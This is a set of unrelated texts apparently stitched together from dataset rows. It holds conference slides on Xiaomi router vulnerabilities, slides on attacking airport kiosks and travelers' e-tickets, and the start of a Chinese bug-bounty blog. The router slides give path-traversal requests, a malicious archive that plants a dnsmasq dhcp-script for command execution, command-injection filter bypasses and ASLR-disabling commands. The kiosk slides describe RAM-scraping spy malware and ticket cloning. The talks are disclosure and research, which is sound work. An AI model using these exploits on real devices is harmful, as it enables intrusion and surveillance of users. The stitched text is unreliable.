2019\n⚫ 4st place at DEFCON 2020\n⚫ Ranks 422nd on the Fortune Global 500 list for 2020\n⚫ Hosts the world’s largest IoT platform\n⚫ Xiaomi today has more than 235 million connected \ndevices\n⚫ Released on February 13, 2020\n⚫ The first router to support Wi-Fi 6 of \nXiaomi\n⚫ 599\n/ 99$\n⚫\nWi-Fi 6\n⚫ A logical error is a bug in a program that causes it to operate incorrectly, but not to terminate \nabnormally (or crash)\n⚫ Logical bugs are hard to find but relatively easy to exploit\n⚫ We will elaborate more by examples\n⚫ Web server\n80/8080/8098/8999\n⚫ DNS (53)\n⚫ Other protocol\n784\nNmap scan report for 192.168.31.1\nHost is up (0.0052s latency).\nNot shown: 65528 closed ports\nPORT STATE SERVICE VERSION\n53/tcp open domain ISC BIND 9.11.3-1ubuntu1.12 (Ubuntu Linux)\n80/tcp open http nginx 1.12.2\n784/tcp open unknown\n8080/tcp open http nginx 1.12.2\n8098/tcp open http nginx 1.12.2\n8999/tcp open http nginx 1.12.2\n⚫ Web server\n80/8080/8098/8999\n⚫ DNS (53)\n⚫ Other protocol\n784\nA little spoiler alert:\nAll web functions are completed in lua. And most luac files \nare encrypted in Xiaomi’s own format.\nCommon ways:\n⚫ Dump the flash\nsniffer from network traffic when updating\n⚫ get a shell from serial connection\nssh/telnet\nNday/0day attack etc.\n⚫ Social engineering, especially for Xiaomi IoT devices\nhttp://miwifi.com/miwifi_download.html\nSeems it’s a UBI image, but we \nencounter the error when \ntrying to extract it using \nubi_reader\nReading the code of ubi_reader, we \nfind there is an extra data block at \nthe end of the image.\nPs: this issue is fixed in commit \n63105\nNow we have firmware ☺\nalias defines a replacement for the \nspecified location\nGET /backup/log../secretFile HTTP/1.1\nHost: 192.168.31.1\nGET /tmp/syslogbackup/../secretFile HTTP/1.1\nHost: 192.168.31.1\nGET /tmp/secretFile HTTP/1.1\nHost: 192.168.31.1\nSo we can read files under /tmp directory\nBut the path \ntraversal is limited \nto /tmp\nSo what can we read under \n/tmp?\n/tmp/messages stores lots \nof logs.\nThe most appealing data \nis the stok string, which is \nan access token for admin \npage.\n/tmp/messages stores lots \nof logs.\nThe most appealing data \nis the stok string, which is \nan access token for admin \npage.\nLogin Bypass!\nFix: Add a single / will mitigate \nthis vulnerability\n⚫ Hardware debugging interface like UART\n⚫ Repack && write back firmware\n⚫ ssh/telnet, Nday/0day attack etc.\nNo shell, only log\nWe use a 0day(CVE-2020-????). \nIt’s not fixed yet, so we won’t show the details.\nBV1es411D7sW\nTranslation for non-Chinese \nspeakers:\nRestore router settings from \nbackup\nchaitin@chaitin:~$ ls\n2020-07-07--18_43_51.tar.gz\nchaitin@chaitin:~$ tar xvf 2020-07-07--18_43_51.tar.gz\ncfg_backup.des\ncfg_backup.mbu\nchaitin@chaitin:~$ file *\n2020-07-07--18_43_51.tar.gz: gzip compressed data, max compression, from Unix\ncfg_backup.des:\nASCII text, with no line terminators\ncfg_backup.mbu:\ndata\nchaitin@chaitin:~$ cat cfg_backup.des\n[\"mi_basic_info\",\"mi_network_info\",\"mi_wifi_info\",\"mi_lan_info\",\"mi_arn_info\"]\nchaitin@chaitin:~$ cat cfg_backup.mbu\nk^Lj'5V\nUcɟ/һPiP\n)vnaDG0W\"5\n……\nA regular backup file for AX3600\n添加标题\nA natural assumption of the unpack \nprocedure\n添加标题\nQ: Can we upload a webshell?\nA: No. We can only upload .tar.gz file. The archive \nwill be uploaded to /tmp directory and renamed \nas cfgbackup.tar.gz\n添加标题\nQ: Is there a path traversal issue?\nA: We tried, but failed.\n添加标题\nQ: is there any interesting filed in \nthe .mbu file?\nA: Clearly it’s encrypted. But the \ndecrypt details are in the \nencrypted luac files. It seems a \ndead end at least for now.\n添加标题\nBrainstorming\nNothing fun happens when things go well, \nbut what if these steps don’t go as \nsupposed?\n添加标题\nAttackers make no difference if can’t even \nupload a file to the victim(router)\nAnd the procedure won’t continue if the \nunpack step fails, so we must upload a \ncompletely valid .tar.gz archive\n添加标题\nI don’t see there is a chance if it’s a \ncompletely valid .tar.gz file\nBesides, the archive will be removed \nimmediately if unpack fails.\n添加标题\nBut we can control the files in the archive, \nalthough with some limitation (first sight: \nfilename must be ended with .mbu or .des)\nchaitin@chaitin:~$ cat test.des\nI'm still here!\nchaitin@chaitin:~$ tar tvf test.tar.gz\n-rwxrwxrwx chaitin/chaitin\n16 2020-07-09 16:25 test.des\n/tmp # ls -l test.des\n-rwxrwxrwx\n1 1000 \n1000\n16 Jul\n9 16:25 test.des\n/tmp # cat test.des\nI'm still here!\nA trival issue:\nIf the following steps fails, the archive will be removed, but not the files in the archive, which brings \na side effect, we can upload a content-controlled file to /tmp, with some limitations with filename.\nWhat more can we do?\nchaitin@chaitin:~$ cat new_dir/test.des\nI shouldn't be here!\nchaitin@chaitin:~$ tar tvf test.tar.gz\n-rwxrwxrwx chaitin/chaitin\n21 2020-07-09 16:31 new_dir/test.des\n/tmp # ls -l new_dir/test.des\n-rwxrwxrwx\n1 1000 \n1000\n21 Jul\n9 16:31 new_dir/test.des\n/tmp # cat new_dir/test.des\nI shouldn't be here!\n⚫ upload a content-controlled file to /tmp, with some limitations with filename\n⚫ upload the file to /tmp/some_dir\nCan we break the limitation?\nHow is this check realized?\nfilename.endswith(\"des\")\nfilename.contains(\"des\")\nOR\n/tmp # ls -l des.xyz\n-rwxrwxrwx\n1 1000 \n1000\n14 Jul\n9 16:38 des.xyz\n/tmp # cat des.xyz\nI have \"des\"!\n⚫ upload a content-controlled file to /tmp, with some little limitations with filename\n⚫ upload the file to /tmp/some_dir\n/tmp # find . -type d\n.\n……\n./spool/cron\n……\n./dnsmasq.d\n……\n./lib/nginx\n……\n./etc/config\n……\nSelect a target…\n/tmp # find . -type d\n.\n……\n./spool/cron\n……\n./dnsmasq.d\n……\n./lib/nginx\n……\n./etc/config\n……\n/tmp/spool/cron (symbolic to /var/spool/cron) is a great target, but crontab files must be named after \naccounts in /etc/passwd, while we still have little limitation with filenames \n/tmp # find . -type d\n.\n……\n./spool/cron\n……\n./dnsmasq.d\n……\n./lib/nginx\n……\n./etc/config\n……\nroot@XiaoQiang:~# ps w | grep dnsmasq\n5411 root 1300 S /usr/sbin/dnsmasq --user=root -C \n/var/etc/dnsmasq.conf.cfg01411c -k -x /var/run/dnsmasq/dnsmasq.cfg01411c\n……\nroot@XiaoQiang:~# cat /var/etc/dnsmasq.conf.cfg01411c\n……\nconf-dir=/tmp/dnsmasq.d\n……\nroot@XiaoQiang:~#\ndnsmasq will load all .conf files in conf-dir when start. So we can drop \nour files to /tmp/dnsmasq.d!\nBut how to restart dnsmasq?\nEasy! Any modification of network will restart this service.\nchaitin@chaitin:~$ tar tvf exploit.tar.gz\n-rwxrwxrwx chaitin/chaitin\n54 2020-07-09 17:03 hackdes.sh\n-rwxrwxrwx chaitin/chaitin\n91 2020-04-27 11:53 dnsmasq.d/mbu.conf\n/tmp # cat /tmp/hackdes.sh\n#!/bin/sh\necho \"hacked by chaitin!\" > /tmp/hacked\n/tmp # cat /tmp/dnsmasq.d/mbu.conf\nenable-tftp\ntftp-root=/etc\ntftp-no-fail\ntftp-no-blocksize\ndhcp-script=/tmp/hackdes.sh\nchaitin@chaitin:~$ tar tvf exploit.tar.gz\n-rwxrwxrwx chaitin/chaitin\n54 2020-07-09 17:03 hackdes.sh\n-rwxrwxrwx chaitin/chaitin\n91 2020-04-27 11:53 dnsmasq.d/mbu.conf\n/tmp # cat /tmp/hackdes.sh\n#!/bin/sh\necho \"hacked by chaitin!\" > /tmp/hacked\n/tmp # cat /tmp/dnsmasq.d/mbu.conf\nenable-tftp\ntftp-root=/etc\ntftp-no-fail\ntftp-no-blocksize\ndhcp-script=/tmp/hackdes.sh\nRemote Command Execution!\nQuick Q & A\n⚫ Except set the dhcp-script, why bothers to enable tftp?\n⚫ To trigger the script.\n-6 --dhcp-script=<path>\nWhenever a new DHCP lease is created, or an old one destroyed, or a \nTFTP file transfer completes, the executable specified by this option is run.\nFrom http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html\n⚫ Can we upload malicious files through tftp?\n⚫ No, we can only read file using dnsmasq’s tftp\nThe philosopy was to implement just enough of TFTP to do network boot, aiming \nfor security and then simplicity. Hence no write operation: it's not needed \nfor network booting, and it's not secure. \nFrom http://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2010q1/003558.html\n⚫ There is a similar feature named dhcp-luascript, can we manipulate this?\n⚫ For dnsmasq on AX3600, it’s not supported.\nroot@XiaoQiang:~# dnsmasq -v\nDnsmasq version 2.80 Copyright (c) 2000-2018 Simon Kelley\nCompile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP no-DHCPv6 no-Lua\nTFTP no-conntrack ipset no-auth no-DN\nSSEC no-ID loop-detect no-inotify dumpfile\nroot@XiaoQiang:/tmp# ls -l test*\n-rwxrwxrwx\n1 1000\n1000\n78 Jul\n7 18:43 test.des\n-rwxrwxrwx\n1 1000\n1000\n1104 Jul\n7 18:43 test.mbu\nroot@XiaoQiang:/tmp# cat /etc/passwd\nroot:x:0:0:root:/root:/bin/ash\ndaemon:*:1:1:daemon:/var:/bin/false\nftp:*:55:55:ftp:/home/ftp:/bin/false\nnetwork:*:101:101:network:/var:/bin/false\nnobody:*:65534:65534:nobody:/var:/bin/false\ndnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false\nroot@XiaoQiang:/tmp#\nuid = 1000, who is it?\nroot@XiaoQiang:/tmp# ls -l test*\n-rwsrwxrwx\n1 root \nroot\n78 Jul\n7 18:43 test.des\n-rwsrwxrwx\n1 root \nroot\n1104 Jul\n7 18:43 test.mbu\nIt’s the attackers’ uid on his own machine and the file attribute is also \nreserved. We don’t know the exact reason now, but we can leverage it.\nIt’s a classical local privilege escalation primitive\nroot@XiaoQiang:/tmp# mount\n……\ntmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)\n……\nubi1_0 on /etc type ubifs (rw,relatime)\n……\nroot@XiaoQiang:/tmp#\nroot@XiaoQiang:/tmp# mount\n……\ntmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)\n……\nubi1_0 on /etc type ubifs (rw,relatime)\n……\nroot@XiaoQiang:/tmp# ls -l /tmp/spool/cron/\nlrwxrwxrwx 1 root root 13 Aug 20 17:32 crontabs -> /etc/crontabs\nEscalation using suid shell script has \nbeen a history\nThere is a file size limitation. So we created an \nsuid backdoor using assembly\nLocal Privilege Escalation!\nHowever, all processes are running as root, so this certainly doesn’t meet the security bar. \nBut MiSRC paid an extra bounty for this issue:) thanks!\nSo we got our first full chain exploit by guessing and twisting!\nLogin bypass(CVE-2020-11959):\n⚫ Get stok from /tmp/messages\nRemote command execute(CVE-2020-11960):\n⚫ Upload a malicious archive\n⚫ Restart dnsmasq, enable/disable ipv6, for example\n⚫ Trigger by tftp\n⚫ We have got unauthorized RCE without reversing and debugging\n⚫ We can’t ignore the big attack surface: encrypted luac files\nThe lua in xiaomi router has a custom format and is encrypted, whose magic number is\n\\x1bFate/Z\\x1b\nThe lua in xiaomi router has a custom format and is encrypted, whose magic number is\n\\x1bFate/Z\\x1b\nThe first struct of a luac file is global header. which \ncontains magic number, version and some global data \ndefination.\nmagic number\nversion\nendian\nsize of int\nsize of size_t\nsize of instruction\nsize of lua_number(double)\nfloat flag support\nGlobal Header\nThe remain part of a luac is a recursive struct \ncalled Proto or Function. \nThis function struct contain all the info of a lua\nfunction.\nsource\nProto header\nCode\nConstants\nSub Functions\nDebug info\nsub funciton1\nsub funciton2\n...\nFunction\n1. Magic Number and header\nXiaomi: “\\x1BFate/Z\\x1B”\nOriginal: “\\x1BLua”\n2. Encrypt strings in luac\nstr[i] ^= 13 * size + 55\n3. The order of struct field is different\n//Original Luac\nstruct {\nString source;\nuint32 linedefined;\nuint32 lastlinedefined;\nuchar nups /* number of upvalues */;\nuchar numparams;\nuchar is_vararg;\nuchar maxstacksize;\n} ProtoHeader;\n// Xiaomi Luac\nstruct {\nuchar numparams;\nString source;\nuchar nups /* number of upvalues */;\nuint32 linedefined;\nuchar is_vararg;\nuint32 lastlinedefined;\nuchar maxstacksize;\n} ProtoHeader;\n4. Data type shift and a new datatype\nenum {\nLUA_TNIL = 0,\nLUA_TBOOLEAN = 1,\nLUA_TLIGHTUSERDATA = 2,\nLUA_TNUMBER = 3,\nLUA_TSTRING = 4,\nLUA_TTABLE = 5,\nLUA_TFUNCTION = 6,\nLUA_TUSERDATA = 7,\nLUA_TTHREAD = 8,\n}LUA_DATATYPE;\noriginal Luac\n4. Data type shift and a new datatype\nenum {\nLUA_TNIL = 3,\nLUA_TBOOLEAN = 4,\nLUA_TLIGHTUSERDATA = 5,\nLUA_TNUMBER = 6,\nLUA_TSTRING = 7,\nLUA_TTABLE = 8,\nLUA_TFUNCTION = 9,\nLUA_TUSERDATA = 10,\nLUA_TTHREAD = 11,\nLUA_XIAOMI = 12,\n}LUA_DATATYPE;\nXiaomi Luac\nLua5.1 only have float data. But Xiaomi add a new data type \nwhich stores signed integer data.\nXiaomi\nOriginal\n5 . Shuffle opcode id\nOriginal 0x14: OP_LEN\nXiaomi 0x00: OP_LEN\n6. Add a new instruction\nLuac Instruction Mode iABC\nWe user python to do this convert and this is our code\nhttps://github.com/zh-explorer/mi_lua\nXiaomi\nLuac\nConvert\nLayer\nLuac\nmetadata\nNormal \nLuac\nwe use python package Construct to do this. Just define a metadata and the convert layer \nthen Construct will encode/decode automatically.\nXiaomi\nLuac\nConvert\nLayer\nLuac\nmetadata\nNormal \nLuac\nAll problems in computer science can be solved by another level of indirection\n-David Wheeler\nProtos = Struct(\n\"sizep\" / Int32ul,\n\"proto\" / Array(this.sizep, LazyBound(lambda: Proto))\n)\nProto = Struct(\n\"header\" / ProtoHead,\n\"code\" / Code,\n\"constants\" / Constants,\n\"protos\" / Protos,\n\"lineinfo\" / LineInfo,\n\"loc_vars\" / LocVars,\n\"values\" / UpValues,\n)\nLuac = Struct(\n\"global_head\" / GlobalHead,\n\"top_proto\" / Proto\n)\nLua metadata defination in Construct\nclass StrAdapter(Adapter):\ndef __init__(self, key, subcon):\nassert key < 0xff\nself.key = key\nsuper().__init__(subcon)\ndef _decode(self, obj, context, path):\nl = []\nkey = evaluate(self.key, context)\nfor i in obj:\nl.append(i ^ key)\nreturn bytes(l)\ndef _encode(self, obj, context, path):\nl = []\nkey = evaluate(self.key, context)\nfor i in obj:\nl.append(i ^ key)\nreturn bytes(l)\nConvert layer to fix Xiaomi luac\nThe code use Construct‘s \nAdapter class to \ndecode/encode Xiaomi luac’s\nstring\nThis explains why we can bypass the filename limitation and why the file \nattributes are reserved.\nAs the image shows, it’s not perfect but works well for bug hunting\nUsually, IoT devices suffer a lot from command injection vuls, so was Xiaomi routers(example1, \nexample2).\nHowever, user input is sanitized heavily in AX3600.\nThe winter of CMDi?\nOld school never die. They just need more tricks.\nSome special characters(`,\",$,\\) and lower-case characters\nare not allowed\nwe can still use some useful chars like |, & and #, but the \ndisallowance of lower-case characters is really a PITA\nWe injected | /???/12345???? |, which will be interpreted as \n| /tmp/12345.mbu | and bingo!\nWe injected | /???/12345???? |, which will be interpreted as \n| /tmp/12345.mbu | and bingo!\nRemote Command Execution!\n`, $, “ and \\ is sanitized by _cmdformat, \nand &, |, ; lose their power when \nwrapped by “”. So is it a dead end?\nDigging into the \nconnect binary…\nDigging into the \nconnect binary…\nRemote Command Execution!\nAll sensitive characters(including \n`,|,&,$,;) are sanitized……\nBypass with \\n(%0a) and \\r(%09)\nBypass with \\n(%0a) and \\r(%09)\nRemote Command Execution!\nFor full chain exploit, we need another \nlogin bypass\nClearly, those are access flags\nSo we tried every interface to see what \ncan we get…\nWhat is admin_passwd? \nCan we manipulate it?\nWe found the answer here CVE-2019-18371\nBasically,\nadmin_passwd == sha1(admin_page_passwd\n+ ‘a2ffa5c9be07488bbb04a3a47d3c5f6a’)\nAnd we can login by POST\nPOST /cgi-bin/luci/api/xqsystem/login HTTP/1.1\nHost: 192.168.31.1\nusername=admin&password=sha1(nonce+admin_passwd)&logtype=2&nonce=0_+mac+timesta\nmp+rand\nWe found the answer here CVE-2019-18371\nBasically,\nadmin_passwd == sha1(admin_page_passwd\n+ ‘a2ffa5c9be07488bbb04a3a47d3c5f6a’)\nAnd we can login by POST\nPOST /cgi-bin/luci/api/xqsystem/login HTTP/1.1\nHost: 192.168.31.1\nusername=admin&password=sha1(nonce+admin_passwd)&logtype=2&nonce=0_+mac+timesta\nmp+rand\nLogin bypass again!\nLogical bug to turn off ASLR:\nCVE-2020-14095\necho 1 > /tmp/miwifi-scan/../../../../proc/sys/kernel/randomize_va_space\nMemory bug to ROP like a pro:\necho 1 > /tmp/miwifi-scan/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa…...\n⚫\nAIoT\nAX3600\n⚫\nAX1800\n⚫ Redmi\nAX6\n⚫ Redmi\nAX5\n⚫\nAC2100\n…\nAlmost all\n⚫ Unexperienced attackers/developers always ignore logical \nissues because the program runs well\n⚫ There has been mature methods for hunting memory bugs like \nfuzzing. But because of the diversity of logical bugs, there are \nno mature public tools\n⚫ Researchers should pay attention to the side effect of every \nstep, and broaden minds\n⚫ It’s both an opportunity and a challenge\n⚫ Those who have did search on Xiaomi routers and shared \ntheir experience\n⚫ Colleagues\n⚫ We would like to thank MiSRC for their professional support \nand quick response, especially Pa0er for her kindly help."},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":38,"cells":{"text":{"kind":"string","value":"Attacking the Traveling Salesman\nPoint-of-sale attacks on airline travelers\nDEFCON 2014\nAlex Zacharis\nNikos Tsagkarakis\ninfo@census-labs.com\nCensus S.A.\nhttp://census-labs.com/\nContents\n• Why target travelers?\n• Point-of-Sale attacks in transportation\n• Case Study\n• Back to the Lab\n• POS: exploiting different modules\n• Cameras everywhere\n• Scan that QR\n• RAM scrapping \n• TS POS Malware\n• Aztec Revenge Tool\nWhy target travelers?\n●\nThe need for communication is greater than privacy and/or \nsecurity\n●\nThe unknown Internet access landscape forces you to trust \nwhat you normally wouldn’t\n• WiFi:\n• Login to (corporate) email accounts\n• Login to social networks\n• Carry mobile phones, tablets, laptops ,usually all on at the \nsame time ;)\n• No second thoughts about public Internet hotspots\nPoint-of-Sale attacks in Transportation\nUnlike traditional POS attacks in Commerce (ex. \nTarget Incident):\n• Credit card details\n• Web credentials \nWe target International Travelers' information:\n• Name\n• Picture \n• Flight number\n• Destination \n• Seat number\n• Communication partners\n• Other_.\nHow is the POS introduced\nAs in every known POS Attack (Retail, Healthcare, etc):\n1. The system may have unpatched \nvulnerabilities\n2.\nAn employee of the victim company may \nintroduce it by mistake (opening an email \nattachment containing malware)\n3. The source might even be an employee \nlooking to cause trouble.\nPOS attack outcome\nWho benefits?\n•Cyber Criminals (Identity theft)\n•Private Investigators (spying)\n•Government Agencies (spying)\nAfter a successful attack we can achieve:\n●Travelers “profiling” without authorized access to Airport Data\n●With enough data collected we can categorize travelers per: \n●\nDestination (ex. Who travelled from Greece to Germany in the last \nmonth)\n●\nCompany (ex. All Aegean passengers)\n●\nClass (ex. Who is travelling 1rst class OR Business)\n●\nFlight/Date (ex. All passengers of a specific flight)\n●\nCombination of the above\nPOS Systems Present\nWhat are the possible POS Systems of interest?\n- Check-in kiosks\n- Purchase WiFi time kiosks\n- Internet Access Points (Terminals)\n- Luggage Locator kiosks\nCase Study: An International \nAirport in Greece\nLets talk numbers (rough estimation):\nEstimated travelers per year: 12 million\nBusiness Passengers (30%): 3,6 million\nBusiness Passengers Using POS (1%): 36000\nJanuary-March 2014, Passenger traffic reached 2.4 million\nPurchase WiFi time kiosks\n• Buy extra WiFi time\n(accepts coins and bills, \ngives change)\n• Check flight details \n(Barcode/QR scanner) \n• Make Internet phone \ncalls (VOIP) (Webcam \navailable)\n• Placement: 6 in number \nlocated in high \naccessible location \nthroughout the airport\nKiosk Services: Buy Wifi\nKiosk Services: VOIP calls\nPurchase WiFi time kiosks: Attack\n• Escape interface and expose machine details:\n• OS: Windows 7\n• No antivirus\n• Internet Connection\n• Administrative modules (proxy)\n• USB enabled\n• Useful for installing homemade POS malware direclty\nThe ALT+TAB attack ;)\n• Escaping the restrictive POS Interface\n• Keyboard input sanitization failure\n• Left Alt + tab -> locked \n• Right Alt + tab -> works!!!\nUSB Port accessible\nUSB port exposed/active\nExposing administrative modules\n• Bad sanitization of user input from keyboard\n• Basic Windows commands can be issued from keyboard \nin order to switch view to administrative interface\n• Administrative interface enabled with full privileges \ndirectly issuing hardware commands\n• Like for example the PAY command ;)\n• Other Commands: \n• Status\n• Start/Stop\n• Set Override\nAdmin interface #1\nAdmin interface #2\nTOTAL: 736 Euros in coins \nAdmin interface #3\nPaying Ourselves Through Admin Module\nInforming the Airport\nMarch, 2014\n• Presentation of the attacks to \nAdministration, IT and Security \nteam of the Airport.\n• Real life example: Cashing out \nMoney!\n• A month later\nThe ALT+TAB bug was fixed and the \nUSB port was protected.\nBUT the System was still vulnerable after the patch_\nUSB port Secured\nNew attack Vectors\nLooking for new attack vectors to make the system \ncrash and expose the underlying admin \ninterface_\nBut how?\n-Full Interface Testing \n-Barcode Fuzzing (We need a Tool)\nInterface Testing\n• Exposing The Administrative interface by causing the \napp to try to connect to the Internet. \n• A Pop Up connection blocker causes the interface to \nexpose the minimized Admin Interface Window. \nClick causing popup action\nAdmin Interface Exposed\nFocus Loss\nExposed Minimized Window \nAdmin process running\nBack to the Lab\nThe Need: \nDevelop a malware to install in the kiosk that:\n•\nExploits the WebCam Module \n•\nHas RAM scrapping functionality\n•\nGet scanned e-ticket details\n•\nReceives Bar Code Commands\nDevelop a tool that:\n•\nFuzzes the barcode scanner to expose errors.\n•\nProvide commands to our malware.\nOutcome:\n•\nInspiration for the Travelers Spy (TS) POS malware\n•\nCreation of the Aztec Revenge Tool (Android Mobile App)\nCamera Module Exploitation\nWHY?\n1. “Eyes” inside the Airport. \n(Multiple Spots, Requires Connect Back)\n2. Capture Users Facial Image without consent \nduring ticket scan event. (“full profiling”)\nBarcode Scanner + Privacy \nIssues\n• Barcode scans e-tickets and retrieves \ntravelers details\n• Doesn’t log scans\n• Scanned barcode info decoded and\npresent in RAM\n• Network calls containing travelers \ninformation\n• Ticket formats tested:\nBCBP (bar-coded boarding pass) \nAztec (popular with E-tickets)\nBCBP Code Technical Info\n• General Info\n– Bar Coded Boarding Pass\n– IATA, 2005\n– Used by more than 200 \nairlines (36 use mobile)\n– In Paper: PDF417 \n– Digital: Aztec code, \nDatamatrix and QR code \nPDF417 Technical Info\n• Portable Data File,1991\n• ISO standard 15438 \n• 417 each pattern consists of 4\nbars and spaces, each pattern is 17 units long.\n• Linear barcode \n• Use in:\n– Transportation\n– Identification cards\n– Inventory management \nBCBP (PDF417) Code Decoded Info\nRAW DATA:\nM1ZACHARIS/ALEXANDROS E5YBG6J ATHIOAA3 0166 136Y020D0025 147>218 W B 29\nM1: Format code ‘M’ and 1 leg on the boarding pass.\nZACHARIS/ALEXANDROS: Passenger Name.\nE5YBG6J : My booking reference.\nATHIOAA3 : Flying from ATH (Athens) to IOA (Ioannina) on A3 (Airplane Company: Aegean)\n0166 : Flight number 166.\n136: The Julian date.\nY: Cabin – Economy in this case. Others including F (First) and J (Business).\n020D: Passengers seat.\n0025: Sequence number. In this case passenger was the 25th person to check-in.\n147: Field size of airline specific data message.\n>:Beginning of the version number \n2: The version number. \n18: Field size of another variable field.\nW: check-in source. \nB: Airline designator of boarding pass issuer.\n29: Airline specific data\nAztec Code Technical Info\n• 2D barcode, 1995 \n• ISO/IEC 24778:2008 \n• 1914 bytes of data encoded\n• Use in transportation, especially E-\ntickets\n• Present in Mobile Phones, handheld \ndevices.\nBCBP Aztec Code Decoded Info\nM1ZACHARIS/ALEXANDROS4AEHBT ATHIOAA3 0160 117Y017A0052 100\nM1: Format code ‘M’ and 1 leg on the boarding pass.\nZACHARIS/ALEXANDROS: Passenger Name.\n4AEHBT: My booking reference.\nATHIOAA3: Flying from ATH (Athens) to IOA (Ioannina) on A3 (Airplane Company: Aegean)\n0160: Flight number 160.\n117: The Julian date. In this case 117 is April 27.\nY: Cabin – Economy in this case. Others including F (First) and J (Business).\n017A: Passengers seat.\n0052: Sequence number. In this case passenger was the 52th person to check-in.\n100: Field size of airline specific data message.\nAttack: Duplicate E-Ticket \nOriginal QR\nDuplicate QR\nM1ZACHARIS/ALEXANDROS4\nAEHBT ATHIOAA3 0160 \n117Y017A0052 100\nDecoded Info\n•\nWe need a tool to ex-filtrate e-tickets. (TS POS Malware)\n•\nWe need a tool for fast e-ticket duplication after we retrieve \nthe data for the hacked machine (AztecRevengeTool)\n•\nUse the cloned e-ticket to impersonate someone else and \ngain access to the Tax Free area of the Airport.\nScanned in \nkiosk \nPresent in \nkiosks RAM\nKIOSK\nInsert POS \nMalware\nEx-filtrate \ne-ticket\nTS POS Malware\nTravelers Spy (TS) POS \nmalware\nBased on our Use Case TS-POS malware should feature \nthe following capabilities:\n• Running on background\n• Perform Ram Scrapping to identify E-tickets Already \nScanned.\n• On E-ticket scan event, Captures Image through \nWebcam\n• Hook on Barcode Scanner Process (if possible)\n• Receive Commands through Aztec Code images \nwhen proper format bits are encoded in the image.\n• Connect Back if Internet connectivity available.\nImage Capturing in action\n• Hooking Barcode Scanner in order to trigger the image \nCapture in Time.\n• Naming the image with a Time Stamp.\n• Feature is disabled by default due to major drawbacks.\nProblems:\n• Timing the image capture\n• Correlating Images with Travelers Data\n• Large number of files, Detectable\nRAM Scrapping in action\nRAM Scrapping Functionality:\n1. Extract RAM of Barcode Scanner Proc\n•\nMap Interesting processes, Target the browser Process too!\n•\nDo it periodically (every two hours)\n•\nWindows API, ReadProcessMemory function\n2. Search\n•\nString Identifiers (Unique Start, Stop Values, Fixed Size), \nRegular Expressions\n•\nCandidate Data (Store if not sure)\n3. Exfiltrate Information\n•\nIs Internet Connection Available? (In our case yes)\n•\nIf not? (Store Locally)\nRAM Scrapping example\n1.\nDumping process memory with volatility:\nvolatility-2.3.1.standalone.exe -f \"Clean Xp-b71adf32.vmem\" -p 980 \nmemdump -D memory/\n2. Using Wingrep to locate scanned e-ticket (multiple hits):\n20438: yyyyyyBBu OT5Barcode \n1AyyyyyyOOu \\6T5=====================================\n=================Hyyyyyy\\\\ \nu iyT5M1ZACHARIS/ALEXANDRO\nS E5YBG6J ATHIOAA3 0166 136Y020D0025 147>218 W B 29 \nhyyyyyyiiu vT5 OdPdyaga\n3. Storing Unique Values (Discarding Duplicates)\nAztec Code Command Set\n• Why Use?\n– Important mainly for exfiltration reasons in \ncase of no internet connection.\n– Ask malware to present specific data \n– Stop/Start extra functionality (image capturing)\n– Issue network scan commands to further \ninfiltrate/pentest the network\nAztec Revenge Tool\nAztec commands from your phone \n(Aztec Revenge Tool)\nPoC Android Mobile \nSupports: PDF417, Aztec Code\n3 Modes of Operation:\n• E-ticket Duplicator Mode\n• PENTEST Mode (Fuzzer)\n• Converts SQLi and web service payloads to Aztec \nCode images trying to fuzz Barcode scanners \n• MALWARE COMMAND Mode\n• If our malware is already installed sends commands \nvia Aztec Code images\nE-ticket Duplicator Mode\n• Why Duplicate a retrieved E-ticket:\n– Impersonation \n– Use it as basis to fuzz parameters expected \nby the system. \n• How it works:\nScans An image\nof the ticket in real\ntime and decodes\nthe content\nDuplicating in Action\nPentest Mode (Fuzzing)\n• Fuzzing E-Ticket or other \nBarcode Scanners \n• Fuzz Formats Supported:\n– String\n– Integer\n– Random String\n– Predefined (Sqli, Xss)\n• Example Use (Airport):\nE–CheckIn Device\nFuzzing in Action\nCommand Mode\n• Useful when no \ninternet connectivity \navailable \n– Dump RAM \nCaptures\n• Issuing Commands \n(Ex. Spy on a specific \ntraveler or group)\n• Perform Network Scan\n• Image Capturing \n• Cash Out Money\nCommand Set Example\nCombined Attack\n“LAST SCANNED TICKET” Command\nTS POS Malware Retrieves/Prints Data on Screen\nConclusion\nRecommendations:\n1.\nUse strong passwords to access POS devices\n2.\nKeep POS software up to date\n3.\nUse firewalls to isolate the POS production network from other \nnetworks or the Internet\n4.\nEmploy antivirus tools\n5.\nLimit access to the Internet from the production network\n6.\nDisable all remote access to POS systems\n7.\nCheck software and hardware of POS as a whole, to discover more \nbugs that can be used in the exploitation process\nQuestions?\ninfo@census-labs.com\nCensus S.A.\nhttp://census-labs.com"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":39,"cells":{"text":{"kind":"string","value":"从0开始的src之旅-开篇 \n0x00 前⾔ \n⾃由职业真的是有⼀顿没⼀顿，不做点啥就焦虑，做了事不赚钱也焦虑（\nanyway，作为安全从业⼈能不上班赚外块的除了拉⽪条就剩src了。之前说过想要搞⼀搞src，但⼀\n直拖着没怎么产出。其实也不是没有尝试，主要是我⾃⼰也是⼀个菜⻦，可能写⼀些有的没得容易\n误导别⼈。所以我希望看这些⽂字的⼈不要把这个当作教科书⽽是当作⼀个和你⼀样的菜⻦从零开\n始⼀步⼀步的思考和实践记录。\n我五六年前也挖过⼀阵⼦src，那么多年过去了，很多东⻄变了，很多东⻄⼜没变。要想重新投⼊\n状态到src中，我需要去总结不变的东⻄，优化迭代那些变化了的东⻄。\n这个开篇主要是把⼀些前期的想法罗列⼀下，并不涉及具体的实施。\n0x01 ⽴意 \n要完成⼀个⽬标⾸先我们要先确⽴这个⽬标，这听起来像是废话，因为我们的⽬标是挖src呀！这\n确实没有错，但是这个太笼统了不好下⼿，先拆成⼏个⼩的阶段性⽬标：\n1. 筛选国内外src平台，寻找合适的⼚家，熟悉他们的规则和相应漏洞的价格\n2. 搭建⼀套合适的信息搜集和漏洞扫描的平台，并持续的进⾏打磨\n3. 